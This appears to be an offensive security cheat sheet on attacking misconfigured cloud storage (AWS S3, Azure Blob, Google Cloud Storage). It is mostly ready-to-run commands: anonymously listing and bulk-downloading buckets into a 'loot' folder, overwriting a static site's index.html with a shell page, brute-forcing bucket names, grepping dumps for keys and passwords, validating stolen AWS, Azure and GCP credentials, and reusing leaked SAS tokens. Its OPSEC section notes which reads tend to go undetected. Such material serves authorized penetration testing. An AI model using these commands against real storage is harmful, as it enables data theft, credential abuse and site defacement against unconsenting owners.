Cloud Storage

Sections Cloud Storage

S3, Azure Blob, GCS - same idea, three implementations. Public buckets, weak ACLs, exposed objects, pre-signed URL leaks.

DOMAIN=target.com
BUCKET=target-prod-assets

i. AWS S3

Anonymous access tests

## List bucket contents (anonymous):
curl "https://$BUCKET.s3.amazonaws.com/"
curl "https://s3.amazonaws.com/$BUCKET/"
## Both formats work. Different responses tell you about region restrictions.

## With aws CLI (no credentials needed for public):
aws s3 ls "s3://$BUCKET/" --no-sign-request
aws s3 cp "s3://$BUCKET/file.txt" - --no-sign-request

## Recursive download of everything readable:
aws s3 sync "s3://$BUCKET/" ./loot --no-sign-request

Status codes:

  • 200 OK with XML body: listing allowed, you see all object keys
  • 200 OK no body, 403 on objects: bucket policy allows listing but blocks reads
  • 403 AccessDenied: bucket exists, listing denied, may still have specific public objects
  • 404 NoSuchBucket: doesn’t exist
  • 301 Moved Permanently: wrong region, try the URL in the response

Object-level ACL grants (write to public bucket)

Some buckets allow s3:PutObject to anyone. Test:

echo 'test' > /tmp/x.txt
aws s3 cp /tmp/x.txt "s3://$BUCKET/" --no-sign-request
## Success = you can overwrite files in the bucket
## Path traversal for static-site buckets:
aws s3 cp /tmp/shell.html "s3://$BUCKET/index.html" --no-sign-request

Misconfigured ACLs to look for

aws s3api get-bucket-acl --bucket "$BUCKET" --no-sign-request
aws s3api get-bucket-policy --bucket "$BUCKET" --no-sign-request
aws s3api get-bucket-cors --bucket "$BUCKET" --no-sign-request
aws s3api get-bucket-versioning --bucket "$BUCKET" --no-sign-request

Read the policy JSON. Look for Principal: * or AWS: * on dangerous actions (s3:PutObject, s3:DeleteObject, s3:PutBucketPolicy).

Common bucket discovery shortcuts

## s3scanner: bulk testing
s3scanner scan --buckets-file potential.txt --output found.txt
## Bucket name in target's web app source code:
curl -s "https://$DOMAIN" | grep -oE 's3[a-z0-9.-]*\.amazonaws\.com'
## Bucket referenced via CloudFront origin:
dig +short cdn.target.com    ## may resolve to bucket-name.s3.amazonaws.com

Versioned objects: pull old/deleted files

If s3api get-bucket-versioning shows Enabled, you can read previous object versions even when the current version was “deleted”:

aws s3api list-object-versions --bucket "$BUCKET" --no-sign-request
aws s3api get-object --bucket "$BUCKET" --key file.txt --version-id <VERSION_ID> /tmp/old.txt --no-sign-request

ii. Azure Blob Storage

URL structure

https://<storage_account>.blob.core.windows.net/<container>/<blob>

Anonymous access tests

## List container contents (anonymous):
curl "https://$STORAGE.blob.core.windows.net/$CONTAINER?restype=container&comp=list"

## With az CLI (no auth for public):
az storage blob list --account-name "$STORAGE" --container-name "$CONTAINER" --auth-mode login --output table

Status codes:

  • 200 OK with XML: anonymous listing allowed (PublicAccess: Container)
  • 200 OK on specific blobs only: PublicAccess: Blob (read individual blobs if you know names, no listing)
  • 404 ContainerNotFound or 403: not accessible anonymously

Discover containers and blobs

## Common container names: $logs $web data backup files images uploads media public assets
for c in '$logs' '$web' data backup files images uploads media public assets logs reports; do
  url="https://$STORAGE.blob.core.windows.net/$c?restype=container&comp=list"
  code=$(curl -sI "$url" -o /dev/null -w "%{http_code}")
  [ "$code" = "200" ] && echo "PUBLIC LIST: $STORAGE/$c"
done

Pre-signed URL / SAS token leakage

Search the target’s HTML/JS for SAS tokens (look for ?sv= query strings):

curl -s "https://$DOMAIN/app.js" | grep -oE 'https://[^"]+blob\.core\.windows\.net[^"]+\?sv=[^"]+'

Once you have a SAS token, you have whatever rights the token grants until it expires (often months). Common leakage: SAS tokens hardcoded in mobile app reverse engineering, JavaScript bundles, public S3 buckets containing config files.

iii. GCS (Google Cloud Storage)

URL structure

https://storage.googleapis.com/<bucket>/<object>
https://<bucket>.storage.googleapis.com/<object>

Anonymous access tests

## List bucket (anonymous):
curl "https://storage.googleapis.com/storage/v1/b/$BUCKET/o"
## With gcloud (will use whatever auth you have, no auth = anonymous):
gcloud storage ls "gs://$BUCKET/" --no-user-output-enabled 2>/dev/null

Status codes follow REST conventions: 200 listing, 401/403 auth required, 404 not found.

IAM on buckets vs ACLs on objects

GCS has two permission models:

  • Bucket-level IAM (modern, recommended)
  • Legacy ACLs on individual objects
## Read bucket IAM:
gcloud storage buckets describe "gs://$BUCKET" --format=json
## Read object ACL:
gcloud storage objects describe "gs://$BUCKET/file.txt" --format=json

Public exposure happens at either level. Look for allUsers or allAuthenticatedUsers as bindings/members.

gcs_enum / GCPBucketBrute

## Wordlist-based brute force with permission analysis:
gcpbucketbrute -k target -u  ## -u = unauthenticated
## With auth (more permissions visible):
gcpbucketbrute -k target -s service-account.json

iv. Common file types worth looking for

After a public-bucket find, search recursively for these patterns:

## Once you have a sync of the bucket contents:
find ./loot -type f \( \
  -name '*.env' -o -name '.env*' -o \
  -name '*.key' -o -name '*.pem' -o -name '*.p12' -o -name '*.pfx' -o \
  -name '*.sql' -o -name '*.bak' -o -name '*.backup' -o \
  -name 'config.*' -o -name '*.config' -o \
  -name '.git*' -o -name '.dockerignore' -o \
  -name 'docker-compose.*' -o -name 'kubernetes.*' -o \
  -name '*.tar.gz' -o -name '*.zip' \
\) 2>/dev/null

## Grep for credentials in everything:
grep -rE 'AKIA[0-9A-Z]{16}|aws_secret_access_key|client_secret|api_key|password|private_key' ./loot/ 2>/dev/null

v. AWS access key formats (recognize what you find)

PrefixType
AKIA...Long-term IAM user access key
ASIA...Short-term STS session token (temporary)
AROA...Role IDs (not keys, but appear in policies)
AGPA...Group IDs
AIPA...EC2 instance profile
ANPA...Managed policy IDs
ANVA...Anonymous IDs

If you find AKIA... in a public bucket, also look for the matching aws_secret_access_key= in the same file or repo.

vi. Validate found AWS keys

export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
aws sts get-caller-identity
## If valid: outputs ARN, user, account ID
## Then continue to [AWS](https://jinpwn.dev/cheatsheets/cloud/aws/) for privesc paths

For temporary creds (ASIA...), also set AWS_SESSION_TOKEN:

export AWS_SESSION_TOKEN=...
aws sts get-caller-identity

vii. Azure key formats

## Storage account access keys (base64, 88 chars):
[A-Za-z0-9+/]{86}==

## SAS tokens (query string starting with ?sv=):
?sv=2021-12-02&ss=b&srt=sco&sp=rwdlacx&se=2026-01-01T00:00:00Z&...

## Service principal credentials (in JSON):
"clientId": "...", "clientSecret": "...", "tenantId": "..."

Validate:

## Storage account key
az storage container list --account-name STORAGE --account-key "KEY"

## SAS token
curl "https://STORAGE.blob.core.windows.net/CONTAINER?<SAS_TOKEN>&restype=container&comp=list"

## Service principal
az login --service-principal --username CLIENTID --password CLIENTSECRET --tenant TENANTID

viii. GCP service account key format

{
  "type": "service_account",
  "project_id": "my-project",
  "private_key_id": "...",
  "private_key": "-----BEGIN PRIVATE KEY-----\n...",
  "client_email": "user@my-project.iam.gserviceaccount.com",
  ...
}

Validate:

gcloud auth activate-service-account --key-file=key.json
gcloud auth list
gcloud projects list

ix. OPSEC for storage abuse

  • Bucket reads log to provider-side audit logs (CloudTrail / Storage logs / GCS logs)
  • The bucket owner often doesn’t enable access logging - anonymous reads usually go undetected
  • High-volume scanning can rate-limit your IP
  • Write attacks (upload, overwrite) ALWAYS log even when reads don’t

x. Quick triage flow

For each found bucket/container:

  1. Listing allowed? -> enumerate object keys, download interesting ones
  2. Anonymous write? -> check if it’s a static site / hosted asset (overwrite = XSS / supply chain)
  3. Find creds in dumps? -> validate them, jump to AWS /Azure /GCP for privesc
  4. SAS / pre-signed URLs in app source? -> use them while valid
  5. Bucket name + 403 on listing? -> guess common object paths (/backup.zip, /db.sql, /.env)